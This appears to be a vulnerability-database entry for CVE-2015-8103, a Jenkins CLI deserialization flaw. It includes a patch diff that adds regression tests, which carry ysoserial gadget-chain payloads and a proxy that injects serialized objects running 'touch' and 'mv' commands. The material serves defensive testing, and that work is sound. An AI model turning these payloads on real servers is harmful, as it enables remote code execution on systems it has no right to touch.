VYPR
Critical severity9.8NVD Advisory· Published Nov 25, 2015· Updated May 6, 2026

CVE-2015-8103

CVE-2015-8103

Description

The Jenkins CLI subsystem in Jenkins before 1.638 and LTS before 1.625.2 allows remote attackers to execute arbitrary code via a crafted serialized Java object, related to a problematic webapps/ROOT/WEB-INF/lib/commons-collections-*.jar file and the "Groovy variant in 'ysoserial'".

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
org.jenkins-ci.main:cliMaven
< 1.625.21.625.2
org.jenkins-ci.main:cliMaven
>= 1.626, < 1.6381.638

Affected products

4
  • Jenkins/Jenkins2 versions
    cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*+ 1 more
    • cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*range: <1.638
    • cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*range: <1.625.2
  • cpe:2.3:a:redhat:openshift_container_platform:2.2:*:*:*:*:*:*:*+ 1 more
    • cpe:2.3:a:redhat:openshift_container_platform:2.2:*:*:*:*:*:*:*
    • cpe:2.3:a:redhat:openshift_container_platform:3.1:*:*:*:*:*:*:*

Patches

2
b4193d113208

Merge pull request #45 from jenkinsci-cert/SECURITY-218-blackbox

https://github.com/jenkinsci/jenkinsKohsuke KawaguchiNov 10, 2015via ghsa
16 files changed · +1356 2
  • cli/src/main/java/hudson/cli/CliPort.java+2 2 modified
    @@ -11,7 +11,7 @@
     /**
      * @author Kohsuke Kawaguchi
      */
    -final class CliPort {
    +public final class CliPort {
         /**
          * The TCP endpoint to talk to.
          */
    @@ -27,7 +27,7 @@ final class CliPort {
          */
         final String identity;
     
    -    CliPort(InetSocketAddress endpoint, String identity, int version) {
    +    public CliPort(InetSocketAddress endpoint, String identity, int version) {
             this.endpoint = endpoint;
             this.identity = identity;
             this.version = version;
    
  • test/pom.xml+12 0 modified
    @@ -183,6 +183,18 @@ THE SOFTWARE.
           <artifactId>geb-implicit-assertions</artifactId>
           <version>0.7.2</version>
         </dependency>
    +    <dependency>
    +      <groupId>org.javassist</groupId>
    +      <artifactId>javassist</artifactId>
    +      <version>3.19.0-GA</version>
    +      <scope>test</scope>
    +    </dependency>
    +    <dependency>
    +      <groupId>org.apache.commons</groupId>
    +      <artifactId>commons-collections4</artifactId>
    +      <version>4.0</version>
    +      <scope>test</scope>
    +    </dependency>
       </dependencies>
     
       <build>
    
  • test/src/test/java/jenkins/security/Security218BlackBoxTest.java+300 0 added
    @@ -0,0 +1,300 @@
    +/*
    + * The MIT License
    + *
    + * Copyright 2015 CloudBees, Inc.
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +
    +package jenkins.security;
    +
    +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
    +import hudson.cli.CLI;
    +import hudson.cli.CliPort;
    +import hudson.remoting.BinarySafeStream;
    +import hudson.util.DaemonThreadFactory;
    +import java.io.ByteArrayOutputStream;
    +import java.io.DataOutputStream;
    +import java.io.File;
    +import java.io.IOException;
    +import java.io.InputStream;
    +import java.io.OutputStream;
    +import java.net.HttpURLConnection;
    +import java.net.InetSocketAddress;
    +import java.net.ServerSocket;
    +import java.net.Socket;
    +import java.net.URL;
    +import java.util.concurrent.ExecutorService;
    +import java.util.concurrent.Executors;
    +import java.util.concurrent.TimeUnit;
    +import java.util.concurrent.TimeoutException;
    +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
    +import jenkins.security.security218.ysoserial.util.Serializables;
    +import static org.junit.Assert.*;
    +import org.junit.Test;
    +import org.junit.Rule;
    +import org.jvnet.hudson.test.JenkinsRule;
    +import org.jvnet.hudson.test.recipes.PresetData;
    +
    +public class Security218BlackBoxTest {
    +
    +    private static final String overrideURL = System.getenv("VICTIM_JENKINS_URL");
    +    private static final String overrideHome = System.getenv("VICTIM_JENKINS_HOME");
    +    static {
    +        assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null));
    +    }
    +
    +    private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory());
    +
    +    @Rule
    +    public JenkinsRule r = new JenkinsRule();
    +
    +    @SuppressWarnings("deprecation") // really mean to use getPage(String)
    +    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise
    +    @Test
    +    public void probe() throws Exception {
    +        JenkinsRule.WebClient wc = r.createWebClient();
    +        final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL);
    +        wc.getPage(url + "userContent/readme.txt");
    +        try {
    +            wc.getPage(url + "userContent/pwned");
    +            fail("already compromised?");
    +        } catch (FailingHttpStatusCodeException x) {
    +            assertEquals(404, x.getStatusCode());
    +        }
    +        for (int round = 0; round < 2; round++) {
    +            final int _round = round;
    +            final ServerSocket proxySocket = new ServerSocket(0);
    +            executors.submit(new Runnable() {
    +                @Override
    +                public void run() {
    +                    try {
    +                        Socket proxy = proxySocket.accept();
    +                        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    +                        String host = conn.getHeaderField("X-Jenkins-CLI-Host");
    +                        Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1));
    +                        final InputStream realIS = real.getInputStream();
    +                        final OutputStream realOS = real.getOutputStream();
    +                        final InputStream proxyIS = proxy.getInputStream();
    +                        final OutputStream proxyOS = proxy.getOutputStream();
    +                        executors.submit(new Runnable() {
    +                            @Override
    +                            public void run() {
    +                                try {
    +                                    // Read up to \x00\x00\x00\x00, end of header.
    +                                    int nullCount = 0;
    +                                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
    +                                    int c;
    +                                    while ((c = realIS.read()) != -1) {
    +                                        proxyOS.write(c);
    +                                        buf.write(c);
    +                                        if (c == 0) {
    +                                            if (++nullCount == 4) {
    +                                                break;
    +                                            }
    +                                        } else {
    +                                            nullCount = 0;
    +                                        }
    +                                    }
    +                                    System.err.print("← ");
    +                                    display(buf.toByteArray());
    +                                    System.err.println();
    +                                    // Now assume we are in chunked transport.
    +                                    PACKETS: while (true) {
    +                                        buf.reset();
    +                                        //System.err.println("reading one packet");
    +                                        while (true) { // one packet, ≥1 chunk
    +                                            //System.err.println("reading one chunk");
    +                                            int hi = realIS.read();
    +                                            if (hi == -1) {
    +                                                break PACKETS;
    +                                            }
    +                                            proxyOS.write(hi);
    +                                            int lo = realIS.read();
    +                                            proxyOS.write(lo);
    +                                            boolean hasMore = (hi & 0x80) > 0;
    +                                            if (hasMore) {
    +                                                hi &= 0x7F;
    +                                            }
    +                                            int len = hi * 0x100 + lo;
    +                                            //System.err.printf("waiting for %X bytes%n", len);
    +                                            for (int i = 0; i < len; i++) {
    +                                                c = realIS.read();
    +                                                proxyOS.write(c);
    +                                                buf.write(c);
    +                                            }
    +                                            if (hasMore) {
    +                                                continue;
    +                                            }
    +                                            System.err.print("← ");
    +                                            byte[] data = buf.toByteArray();
    +                                            //display(data);
    +                                            showSer(data);
    +                                            System.err.println();
    +                                            break;
    +                                        }
    +                                    }
    +                                } catch (IOException x) {
    +                                    x.printStackTrace();
    +                                }
    +                            }
    +                        });
    +                        executors.submit(new Runnable() {
    +                            @Override
    +                            public void run() {
    +                                try {
    +                                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
    +                                    ByteArrayOutputStream toCopy = new ByteArrayOutputStream();
    +                                    int c;
    +                                    int nullCount = 0;
    +                                    while ((c = proxyIS.read()) != -1) {
    +                                        toCopy.write(c);
    +                                        buf.write(c);
    +                                        if (c == 0) {
    +                                            if (++nullCount == 4) {
    +                                                break;
    +                                            }
    +                                        } else {
    +                                            nullCount = 0;
    +                                        }
    +                                    }
    +                                    if (_round == 0) {
    +                                        System.err.println("injecting payload into capability negotiation");
    +                                        // replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00
    +                                        new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol
    +                                        byte[] PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8"); // Capability
    +                                        realOS.write(PREAMBLE);
    +                                        OutputStream bss = BinarySafeStream.wrap(realOS);
    +                                        bss.write(payload());
    +                                        bss.flush();
    +                                    } else {
    +                                        System.err.print("→ ");
    +                                        display(buf.toByteArray());
    +                                        System.err.println();
    +                                        realOS.write(toCopy.toByteArray());
    +                                    }
    +                                    int packet = 0;
    +                                    PACKETS: while (true) {
    +                                        buf.reset();
    +                                        toCopy.reset();
    +                                        while (true) {
    +                                            int hi = proxyIS.read();
    +                                            if (hi == -1) {
    +                                                break PACKETS;
    +                                            }
    +                                            toCopy.write(hi);
    +                                            int lo = proxyIS.read();
    +                                            toCopy.write(lo);
    +                                            boolean hasMore = (hi & 0x80) > 0;
    +                                            if (hasMore) {
    +                                                hi &= 0x7F;
    +                                            }
    +                                            int len = hi * 0x100 + lo;
    +                                            for (int i = 0; i < len; i++) {
    +                                                c = proxyIS.read();
    +                                                toCopy.write(c);
    +                                                buf.write(c);
    +                                            }
    +                                            if (hasMore) {
    +                                                continue;
    +                                            }
    +                                            if (++packet == _round) {
    +                                                System.err.println("injecting payload into packet");
    +                                                byte[] data = payload();
    +                                                realOS.write(data.length / 256);
    +                                                realOS.write(data.length % 256);
    +                                                realOS.write(data);
    +                                            } else {
    +                                                System.err.print("→ ");
    +                                                byte[] data = buf.toByteArray();
    +                                                //display(data);
    +                                                showSer(data);
    +                                                System.err.println();
    +                                                realOS.write(toCopy.toByteArray());
    +                                            }
    +                                            break;
    +                                        }
    +                                    }
    +                                } catch (Exception x) {
    +                                    x.printStackTrace();
    +                                }
    +                            }
    +                        });
    +                    } catch (IOException x) {
    +                        x.printStackTrace();
    +                    }
    +                }
    +            });
    +            try {
    +                executors.submit(new Runnable() {
    +                    @Override
    +                    public void run() {
    +                        // Bypassing _main because it does nothing interesting here.
    +                        // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
    +                        try {
    +                            new CLI(r.getURL()) {
    +                                @Override
    +                                protected CliPort getCliTcpPort(String url) throws IOException {
    +                                    return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1);
    +                                }
    +                            }.execute("help");
    +                        } catch (Exception x) {
    +                            x.printStackTrace();
    +                        }
    +                    }
    +                }).get(5, TimeUnit.SECONDS);
    +            } catch (TimeoutException x) {
    +                System.err.println("CLI command timed out");
    +            }
    +            try {
    +                wc.getPage(url + "userContent/pwned");
    +                fail("Pwned!");
    +            } catch (FailingHttpStatusCodeException x) {
    +                assertEquals(404, x.getStatusCode());
    +            }
    +        }
    +    }
    +
    +    private static synchronized void display(byte[] data) {
    +        for (byte c : data) {
    +            if (c >= ' ' && c <= '~') {
    +                System.err.write(c);
    +            } else {
    +                System.err.printf("\\x%02X", c);
    +            }
    +        }
    +    }
    +
    +    private static synchronized void showSer(byte[] data) {
    +        try {
    +            Object o = Serializables.deserialize(data);
    +            System.err.print(o);
    +        } catch (Exception x) {
    +            System.err.printf("<%s>", x);
    +        }
    +    }
    +
    +    /** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */
    +    private byte[] payload() throws Exception {
    +        File home = overrideHome == null ? r.jenkins.root : new File(overrideHome);
    +        // TODO find a Windows equivalent
    +        return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned")));
    +    }
    +
    +}
    
  • test/src/test/java/jenkins/security/Security218CliTest.java+193 0 added
    @@ -0,0 +1,193 @@
    +/*
    + * The MIT License
    + *
    + * Copyright 2015 CloudBees, Inc.
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +
    +package jenkins.security;
    +
    +import hudson.cli.CLI;
    +import hudson.cli.CLICommand;
    +import hudson.remoting.Callable;
    +import hudson.remoting.Channel;
    +import java.io.File;
    +import java.io.PrintStream;
    +import jenkins.security.security218.Payload;
    +import org.jenkinsci.remoting.RoleChecker;
    +import org.junit.Test;
    +import static org.junit.Assert.*;
    +import org.junit.Rule;
    +import org.jvnet.hudson.test.Issue;
    +import org.jvnet.hudson.test.JenkinsRule;
    +import org.jvnet.hudson.test.TestExtension;
    +import org.jvnet.hudson.test.recipes.PresetData;
    +import org.kohsuke.args4j.Argument;
    +
    +public class Security218CliTest {
    +
    +    @Rule
    +    public JenkinsRule r = new JenkinsRule();
    +    
    +    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
    +    @Test
    +    @Issue("SECURITY-218")
    +    public void probeCommonsCollections1() throws Exception {
    +        probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED);
    +    }
    +    
    +    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
    +    @Test
    +    @Issue("SECURITY-218")
    +    public void probeCommonsCollections2() throws Exception {
    +        //TODO: Payload content issue
    +        probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED);
    +    }
    +    
    +    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
    +    @Test
    +    @Issue("SECURITY-218")
    +    public void probeGroovy1() throws Exception {
    +        probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED);
    +    }
    +    
    +    //TODO: Fix the conversion layer (not urgent)
    +    // There is an issue in the conversion layer after the migration to another XALAN namespace
    +    // with newer libs. SECURITY-218 does not apper in this case OOTB anyway
    +    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
    +    @Test
    +    @Issue("SECURITY-218")
    +    public void probeSpring1() throws Exception {
    +        probe(Payload.Spring1, -1);
    +    }
    +    
    +    private void probe(Payload payload, int expectedResultCode) throws Exception {
    +        File file = File.createTempFile("security-218", payload + "-payload");
    +        File moved = new File(file.getAbsolutePath() + "-moved");
    +        
    +        // Bypassing _main because it does nothing interesting here.
    +        // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
    +        int exitCode = new CLI(r.getURL()).execute("send-payload",
    +                payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath());
    +        assertEquals("Unexpected result code.", expectedResultCode, exitCode);
    +        assertTrue("Payload should not invoke the move operation " + file, !moved.exists());
    +        file.delete();
    +    }
    +    
    +    @TestExtension()
    +    public static class SendPayloadCommand extends CLICommand {
    +
    +        @Override
    +        public String getShortDescription() {
    +            return hudson.cli.Messages.ConsoleCommand_ShortDescription();
    +        }
    +
    +        @Argument(metaVar = "payload", usage = "ID of the payload", required = true, index = 0)
    +        public String payload;
    +        
    +        @Argument(metaVar = "command", usage = "Command to be launched by the payload", required = true, index = 1)
    +        public String command;
    +        
    +
    +        protected int run() throws Exception {
    +            Payload payloadItem = Payload.valueOf(this.payload);
    +            PayloadCaller callable = new PayloadCaller(payloadItem, command);
    +            return channel.call(callable);
    +        }
    +
    +        @Override
    +        protected void printUsageSummary(PrintStream stderr) {
    +            stderr.println("Sends a payload over the channel");
    +        }
    +    }
    +
    +    public static class PayloadCaller implements Callable<Integer, Exception> {
    +
    +        private final Payload payload;
    +        private final String command;
    +
    +        public static final int EXIT_CODE_OK = 0;
    +        public static final int EXIT_CODE_REJECTED = 42;
    +        public static final int EXIT_CODE_ASSIGNMENT_ISSUE = 43;
    +
    +        public PayloadCaller(Payload payload, String command) {
    +            this.payload = payload;
    +            this.command = command;
    +        }
    +        
    +        @Override
    +        public Integer call() throws Exception {
    +            final Object ysoserial = payload.getPayloadClass().newInstance().getObject(command);
    +            
    +            // Invoke backward call
    +            try {
    +                Channel.current().call(new Callable<String, Exception>() {
    +                    private static final long serialVersionUID = 1L;
    +
    +                    @Override
    +                    public String call() throws Exception {
    +                        // We don't care what happens here. Object should be sent over the channel
    +                        return ysoserial.toString();
    +                    }
    +
    +                    @Override
    +                    public void checkRoles(RoleChecker checker) throws SecurityException {
    +                        // do nothing
    +                    }
    +                });
    +            } catch (Exception ex) {
    +                Throwable cause = ex;
    +                while (cause.getCause() != null) {
    +                    cause = cause.getCause();
    +                }
    +
    +                if (cause instanceof SecurityException) {
    +                    // It should happen if the remote chanel reject a class.
    +                    // That's what we have done in SECURITY-218 => may be OK
    +                    if (cause.getMessage().contains("Rejected")) {
    +                        // OK
    +                        return PayloadCaller.EXIT_CODE_REJECTED;
    +                    } else {
    +                        // Something wrong
    +                        throw ex;
    +                    }
    +                }
    +
    +                final String message = cause.getMessage();
    +                if (message != null && message.contains("cannot be cast to java.util.Set")) {
    +                    // We ignore this exception, because there is a known issue in the test payload
    +                    // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error,
    +                    // but actually it means that the conversion has been triggered
    +                    return EXIT_CODE_ASSIGNMENT_ISSUE;
    +                } else {
    +                    throw ex;
    +                }
    +            }
    +            return EXIT_CODE_OK;
    +        }
    +
    +        @Override
    +        public void checkRoles(RoleChecker checker) throws SecurityException {
    +            // Do nothing
    +        }
    +        
    +    }
    +
    +}
    
  • test/src/test/java/jenkins/security/security218/Payload.java+52 0 added
    @@ -0,0 +1,52 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2015 Oleg Nenashev.
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218;
    +
    +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
    +import jenkins.security.security218.ysoserial.payloads.CommonsCollections2;
    +import jenkins.security.security218.ysoserial.payloads.Groovy1;
    +import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
    +import jenkins.security.security218.ysoserial.payloads.Spring1;
    +
    +
    +/**
    + * Allows to select {@link ObjectPayload}s.
    + * @author Oleg Nenashev
    + */
    +public enum Payload {
    +    CommonsCollections1(CommonsCollections1.class),
    +    CommonsCollections2(CommonsCollections2.class),
    +    Groovy1(Groovy1.class),
    +    Spring1(Spring1.class);
    +    
    +    private final Class<? extends ObjectPayload> payloadClass;
    +    
    +    private Payload(Class<? extends ObjectPayload> payloadClass) {
    +        this.payloadClass = payloadClass;
    +    }
    +
    +    public Class<? extends ObjectPayload> getPayloadClass() {
    +        return payloadClass;
    +    }
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java+67 0 added
    @@ -0,0 +1,67 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial;
    +
    +import java.security.Permission;
    +import java.util.concurrent.Callable;
    +
    +public class ExecBlockingSecurityManager extends SecurityManager {
    +	@Override
    +	public void checkPermission(final Permission perm) { }
    +	
    +	@Override
    +	public void checkPermission(final Permission perm, final Object context) { }			
    +	
    +	public void checkExec(final String cmd) {
    +		super.checkExec(cmd);
    +		// throw a special exception to ensure we can detect exec() in the test
    +		throw new ExecException(cmd);
    +	};
    +	
    +	@SuppressWarnings("serial")
    +	public static class ExecException extends RuntimeException {
    +		private final String cmd;
    +		public ExecException(String cmd) { this.cmd = cmd; }
    +		public String getCmd() { return cmd; }		
    +	}		
    +	
    +	public static void wrap(final Runnable runnable) throws Exception {
    +		wrap(new Callable<Void>(){
    +			public Void call() throws Exception {
    +				runnable.run();
    +				return null;
    +			}			
    +		});		
    +	}
    +	
    +	public static <T> T wrap(final Callable<T> callable) throws Exception {
    +		SecurityManager sm = System.getSecurityManager();
    +		System.setSecurityManager(new ExecBlockingSecurityManager());
    +		try {
    +			return callable.call();
    +		} finally {
    +			System.setSecurityManager(sm);
    +		}		
    +	}
    +}
    \ No newline at end of file
    
  • test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java+99 0 added
    @@ -0,0 +1,99 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.payloads;
    +
    +import java.lang.reflect.InvocationHandler;
    +import java.util.HashMap;
    +import java.util.Map;
    +import jenkins.security.security218.ysoserial.util.Gadgets;
    +import jenkins.security.security218.ysoserial.util.PayloadRunner;
    +import jenkins.security.security218.ysoserial.util.Reflections;
    +
    +import org.apache.commons.collections.Transformer;
    +import org.apache.commons.collections.functors.ChainedTransformer;
    +import org.apache.commons.collections.functors.ConstantTransformer;
    +import org.apache.commons.collections.functors.InvokerTransformer;
    +import org.apache.commons.collections.map.LazyMap;
    +
    +
    +/*
    +	Gadget chain:	
    +		ObjectInputStream.readObject()
    +			AnnotationInvocationHandler.readObject()
    +				Map(Proxy).entrySet()
    +					AnnotationInvocationHandler.invoke()
    +						LazyMap.get()
    +							ChainedTransformer.transform()
    +								ConstantTransformer.transform()
    +								InvokerTransformer.transform()
    +									Method.invoke()				
    +										Class.getMethod()
    +								InvokerTransformer.transform()
    +									Method.invoke()
    +										Runtime.getRuntime()
    +								InvokerTransformer.transform()
    +									Method.invoke()
    +										Runtime.exec()										
    +	
    +	Requires:
    +		commons-collections
    + */
    +@SuppressWarnings({"rawtypes", "unchecked"})
    +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    +	
    +	public InvocationHandler getObject(final String command) throws Exception {
    +		final String[] execArgs = new String[] { command };
    +		// inert chain for setup
    +		final Transformer transformerChain = new ChainedTransformer(
    +			new Transformer[]{ new ConstantTransformer(1) });
    +		// real chain for after setup
    +		final Transformer[] transformers = new Transformer[] {
    +				new ConstantTransformer(Runtime.class),
    +				new InvokerTransformer("getMethod", new Class[] {
    +					String.class, Class[].class }, new Object[] {
    +					"getRuntime", new Class[0] }),
    +				new InvokerTransformer("invoke", new Class[] {
    +					Object.class, Object[].class }, new Object[] {
    +					null, new Object[0] }),
    +				new InvokerTransformer("exec",
    +					new Class[] { String.class }, execArgs),
    +				new ConstantTransformer(1) };
    +
    +		final Map innerMap = new HashMap();
    +
    +		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    +		
    +		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    +		
    +		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    +		
    +		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
    +				
    +		return handler;
    +	}
    +	
    +	public static void main(final String[] args) throws Exception {
    +		PayloadRunner.run(CommonsCollections1.class, args);
    +	}
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java+77 0 added
    @@ -0,0 +1,77 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.payloads;
    +
    +import java.util.PriorityQueue;
    +import java.util.Queue;
    +
    +import org.apache.commons.collections4.comparators.TransformingComparator;
    +import org.apache.commons.collections4.functors.InvokerTransformer;
    +
    +import jenkins.security.security218.ysoserial.util.Gadgets;
    +import jenkins.security.security218.ysoserial.util.PayloadRunner;
    +import jenkins.security.security218.ysoserial.util.Reflections;
    +import org.apache.xalan.xsltc.trax.TemplatesImpl;
    +
    +/*
    +	Gadget chain:	
    +		ObjectInputStream.readObject()
    +			PriorityQueue.readObject()
    +				...
    +					TransformingComparator.compare()
    +						InvokerTransformer.transform()
    +							Method.invoke()
    +								Runtime.exec()
    + */
    +
    +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
    +public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { 
    +
    +	public Queue<Object> getObject(final String command) throws Exception {		
    +		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
